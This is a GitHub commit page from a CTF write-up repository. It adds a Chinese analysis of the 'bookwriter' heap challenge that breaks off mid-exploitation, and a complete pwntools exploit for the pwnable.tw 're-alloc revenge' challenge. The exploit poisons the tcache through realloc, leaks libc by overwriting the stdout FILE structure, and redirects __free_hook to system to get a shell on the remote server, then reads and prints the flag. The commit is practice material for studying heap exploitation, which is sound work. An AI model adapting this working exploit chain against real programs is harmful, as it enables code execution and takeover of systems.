Skip to content

Commit

Permalink
updating realloc-rev
Browse files Browse the repository at this point in the history
  • Loading branch information
AvavaAYA committed May 27, 2022
1 parent c198399 commit 04b2474
Show file tree
Hide file tree
Showing 7 changed files with 189 additions and 0 deletions.
Binary file modified bookwriter/bookwriter.i64
Binary file not shown.
65 changes: 65 additions & 0 deletions bookwriter/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
## 程序分析

#### 漏洞点

- 没有开启`PIE``.bss`段上有不少变量,例如`author`后面就紧跟着堆块的指针
- 对分配的`chunk`大小没有限制
- 2.23的`libc`,可以用`IO`利用中的`FSOP`来打

- 注意到程序自定义的输入函数存在`\x00`处理的问题:
```c++
__int64 __fastcall my_getLine(char *a1, unsigned int a2)
{
int chk; // [rsp+1Ch] [rbp-4h]

chk = _read_chk(0LL, a1, a2, a2);
if ( chk < 0 )
{
puts("read error");
exit(1);
}
if ( a1[chk - 1] == 10 ) // no \n, no '\x00'
a1[chk - 1] = 0;
return (unsigned int)chk;
}
```
- 同时`editPage`中使用`strlen`来更新堆块的size,这样就有机会修改到下一个chunk的`size`域
- 注意到`addPage`函数中数组越界的问题:
```c++
for ( i = 0; ; ++i )
{
if ( i > 8 ) // out_of_bound
return puts("You can't add new page anymore!");
if ( !contPtr[i] )
break;
}
```

--------

#### 难点

- 没有提供`free`功能

--------

## 漏洞利用

由于程序中没有`free`,因此考虑[House_of_Orange](#补充内容):

- 分配一块

## 补充内容

#### brk和mmap

当程序需要分配的内存空间`size > top_chunk.size``sysmalloc`中有两种拓展方式:

- `size < mp_.mmap_threshold`
`brk`会将数据段`.data`的最高地址指针`_edata`往高地址推,可以通过这种方式在程序没有`free`功能时得到一块`unsorted_bin chunk`( 这种利用方法也常常被称为为`House_of_Orange` )

- `size>= mp_.mmap_threshold`
`mmap`直接向操作系统申请内存: 在进程的虚拟地址空间中( 堆和栈中间,称为文件映射区域的地方 )找一块空闲的虚拟内存,其地址与`libc_base`也有固定的偏移量,可用来进行`leak`( 记得`AsisCTF-2016-b00ks`就是这么做的 )

Binary file modified re-alloc/re-alloc.i64
Binary file not shown.
124 changes: 124 additions & 0 deletions realloc-rev/exp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']

# remote_service = ""
# remote_service = remote_service.strip().split(" ")

filename = "./pwn"
# p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
# lg("p.pid")
# input()
pass

def alloc(idx, size, data=b"aaa"):
ru(b"Your choice:")
sl(b"1")
ru(b"Index:")
sl(str(idx).encode())
ru(b"Size:")
sl(str(size).encode())
ru(b"Data:")
sn(data)
def realloc(idx, size, data=None):
ru(b"Your choice:")
sl(b"2")
ru(b"Index:")
sl(str(idx).encode())
ru(b"Size:")
sl(str(size).encode())
if size:
ru(b"Data:")
sn(data)
def free(idx):
ru(b"Your choice:")
sl(b"3")
ru(b"Index:")
sl(str(idx).encode())


# target_addr = 0xdeadbeef
# data = p64(0xcafedead)
# alloc(0, 0x20, b"aaa")
# realloc(0, 0)
# realloc(0, 0x20, p64(target_addr))
# alloc(1, 0x20, b"aaa")
# realloc(0, 0x30, data)
# free(0)
# realloc(1, 0x30, b"a"*0x20)
# free(1)


while 1:
p = remote("chall.pwnable.tw",10310)
# p = process(filename)
try:
alloc(0,0x38)
alloc(1,0x38)
free(1)
realloc(0,0)

# lg("p.pid")
test_bit = bytes([9 * 0x10])
realloc(0,0x38, b'\x10' + test_bit)

# debugPID()
alloc(1, 0x38)
realloc(1, 0x18, b"a")
free(1)

# debugPID()
alloc(1, 0x38, b'\x00'*0x1d + b'\xff'*0x1)
realloc(1, 0x58, b'\x00')


realloc(0, 0x18, b"\x00"*0x18)
free(0)

test_bit = 0xb
realloc(1,0x78, b'\x00'*0x60 + p16((test_bit << 0xc) + (l.symbols['_IO_2_1_stdout_'] & 0xfff)))

payload = p64(0xfbad1887)
payload+= p64(0)*3
alloc(0, 0x58, payload)

debugPID()
rn(0x58)
libc_base = uu64(rn(6)) - 0x1e6560
lg("libc_base")

realloc(1, 0x78, b'\x00'*0x60 + p64(libc_base + l.symbols['__free_hook']-8))
free(1)
alloc(1,0x58,b'/bin/sh\x00' + p64(l.symbols['system'] + libc_base))
free(1)



# debugPID()
sl(b"cat /home/re-alloc*/flag")
irt()

except Exception as e:
p.close()

# FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}
Binary file added realloc-rev/libc.so
Binary file not shown.
Binary file added realloc-rev/re-alloc_revenge
Binary file not shown.
Binary file added realloc-rev/re-alloc_revenge.i64
Binary file not shown.

0 comments on commit 04b2474

Please sign in to comment.